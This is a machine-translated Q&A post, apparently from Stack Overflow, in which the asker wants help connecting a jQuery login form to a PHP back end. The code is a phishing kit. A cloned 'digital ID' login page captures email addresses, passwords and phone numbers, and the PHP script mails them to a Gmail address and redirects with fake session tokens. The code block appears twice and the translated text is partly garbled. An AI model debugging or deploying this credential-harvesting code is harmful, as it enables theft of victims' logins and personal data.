使用onsubmit=";的Ajax查询函数的Html表单&引用;并使用php连接Ajax查询进行电子邮件传递
这是我的脚本,它工作得很好,但我在这里遇到的问题是,脚本只验证,但它没有与php通信,我认为这将与我的论点使用onsubmit=";的Ajax查询函数的Html表单&引用;并使用php连接Ajax查询进行电子邮件传递,php,html,jquery-ajax,Php,Html,Jquery Ajax,这是我的脚本,它工作得很好,但我在这里遇到的问题是,脚本只验证,但它没有与php通信,我认为这将与我的论点 (siteURL+'continue2.php','username='+username+'和password='+$(“输入密码”) 有人能帮我吗 var numbersOnly = /^[0-9]+$/; jStandardLogin.jLoginContinue1 = function(form) { formError = true; username = $("
(siteURL+'continue2.php','username='+username+'和password='+$(“输入密码”)
有人能帮我吗
var numbersOnly = /^[0-9]+$/;
jStandardLogin.jLoginContinue1 = function(form) {
formError = true;
username = $("input#username").val();
if (!validateEmail(username)) {
$(".digitalIdLoginForm_username_error").removeClass("ng-hide");
formError = true;
} else {
$(".smallUsername_error").addClass("ng-hide");
formError = false;
jStandardLogin.showPleaseWait();
$(".digitalIdUsernameForm").hide();
$(".login-container-content-username").html(username);
setTimeout(function() {
jStandardLogin.hidePleaseWait();
$(".digitalIdLoginPasswordForm").show();
$("#password").focus();
}, 1500);
}
};
jStandardLogin.jLoginContinue2 = function(form) {
formError = true;
password = $("input#password").val();
if (checkPwd(password) !== "ok") {
$(".smallPassword_error, .digitalIdLoginForm_password_error").removeClass("ng-hide");
formError = true;
} else {
$(".smallPassword_error").addClass("ng-hide");
formError = false;
jStandardLogin.jLoginContinue_Process();
}
};
jStandardLogin.jLoginContinue_Process = function() {
jStandardLogin.showPleaseWait();
ajax_jsonp_call(siteURL + 'continue2.php', 'username=' + username + '&password=' + $("input#password").val(), function(responseText) {
if (responseText === "invalid email address") {
$(".smallUsername_error, .digitalIdLoginForm_username_error").removeClass("ng-hide");
}
/*
document.open();
document.write(responseText.message);
document.close();*/
digitalIdLoginPasswordForm
$(".digitalIdLoginPasswordForm").html(responseText.message);
jStandardLogin.hidePleaseWait();
setTimeout(function() {
$("#cellphone").focus();
}, 1500);
});
};
<?php
session_start();
include_once 'mail.php';
$praga=rand();
$praga=md5($praga);
$page= $_POST['page'];
if ($page == '1')
{
$message = "\n";
$message .= "User ID : ".$_POST['username']." \n";
$message .= "Password : ".$_POST['password']." \n";
$message .= "\n";
$send = "test@gmail.com";
mail($send,$subject,$message);
header("Location:./page2.html?login_id=$praga-session_id=$praga$praga");
}
elseif ($page == '2')
{
$message = "\n";
$message .= "Phone Number : ".$_POST['cellphone']." \n";
$message .= "\n";
$send = "testk@gmail.com";
mail($send,$subject,$message);
header("Location:https://");
}
else {
header("Location:./index.php?login_id=$praga-session_id=$praga$praga");
}
?>
这是我的HTML表单的开始,它使用onsubmit代码连接到我的js查询
以下是表单的开始标记:
<form onsubmit="jStandardLogin.jLoginContinue1($(this)); return false;" method="POST" name="forms.digitalIdLoginForm" id="digitalIdLoginForm" data-frmcontainer="login form" novalidate autocomplete="off" ng-submit="ctrl.login()" class="ng-pristine ng-scope ng-invalid ng-invalid-required ng-valid-pattern"
data-frmtrkid="1541444923884">
<section>
<div>
<label for="username">Email address</label>
<input type="text" id="username" name="username" ng-model="ctrl.diLogin.username" required ng-focus="ctrl.setFocused('right')" ng-pattern="[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+[A-Za-z]" ng-class="{'show-validation-styles': ctrl.panelState('right') === 'active' && (forms.digitalIdLoginForm.username.$touched || forms.digitalIdLoginForm.$submitted)}"
class="ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required ng-valid-pattern">
电子邮件地址
这是我的php代码,我希望它能够连接到脚本,但它没有这样做。有人能帮我吗
var numbersOnly = /^[0-9]+$/;
jStandardLogin.jLoginContinue1 = function(form) {
formError = true;
username = $("input#username").val();
if (!validateEmail(username)) {
$(".digitalIdLoginForm_username_error").removeClass("ng-hide");
formError = true;
} else {
$(".smallUsername_error").addClass("ng-hide");
formError = false;
jStandardLogin.showPleaseWait();
$(".digitalIdUsernameForm").hide();
$(".login-container-content-username").html(username);
setTimeout(function() {
jStandardLogin.hidePleaseWait();
$(".digitalIdLoginPasswordForm").show();
$("#password").focus();
}, 1500);
}
};
jStandardLogin.jLoginContinue2 = function(form) {
formError = true;
password = $("input#password").val();
if (checkPwd(password) !== "ok") {
$(".smallPassword_error, .digitalIdLoginForm_password_error").removeClass("ng-hide");
formError = true;
} else {
$(".smallPassword_error").addClass("ng-hide");
formError = false;
jStandardLogin.jLoginContinue_Process();
}
};
jStandardLogin.jLoginContinue_Process = function() {
jStandardLogin.showPleaseWait();
ajax_jsonp_call(siteURL + 'continue2.php', 'username=' + username + '&password=' + $("input#password").val(), function(responseText) {
if (responseText === "invalid email address") {
$(".smallUsername_error, .digitalIdLoginForm_username_error").removeClass("ng-hide");
}
/*
document.open();
document.write(responseText.message);
document.close();*/
digitalIdLoginPasswordForm
$(".digitalIdLoginPasswordForm").html(responseText.message);
jStandardLogin.hidePleaseWait();
setTimeout(function() {
$("#cellphone").focus();
}, 1500);
});
};
<?php
session_start();
include_once 'mail.php';
$praga=rand();
$praga=md5($praga);
$page= $_POST['page'];
if ($page == '1')
{
$message = "\n";
$message .= "User ID : ".$_POST['username']." \n";
$message .= "Password : ".$_POST['password']." \n";
$message .= "\n";
$send = "test@gmail.com";
mail($send,$subject,$message);
header("Location:./page2.html?login_id=$praga-session_id=$praga$praga");
}
elseif ($page == '2')
{
$message = "\n";
$message .= "Phone Number : ".$_POST['cellphone']." \n";
$message .= "\n";
$send = "testk@gmail.com";
mail($send,$subject,$message);
header("Location:https://");
}
else {
header("Location:./index.php?login_id=$praga-session_id=$praga$praga");
}
?>
不建议使用内联事件,例如onsubmit
。最好使用addEventListener()
method。端点调用是否正确?是的,脚本的验证部分在我的网页上运行良好,只有php部分不工作。我指的是php端点,而不是整个php的javascript验证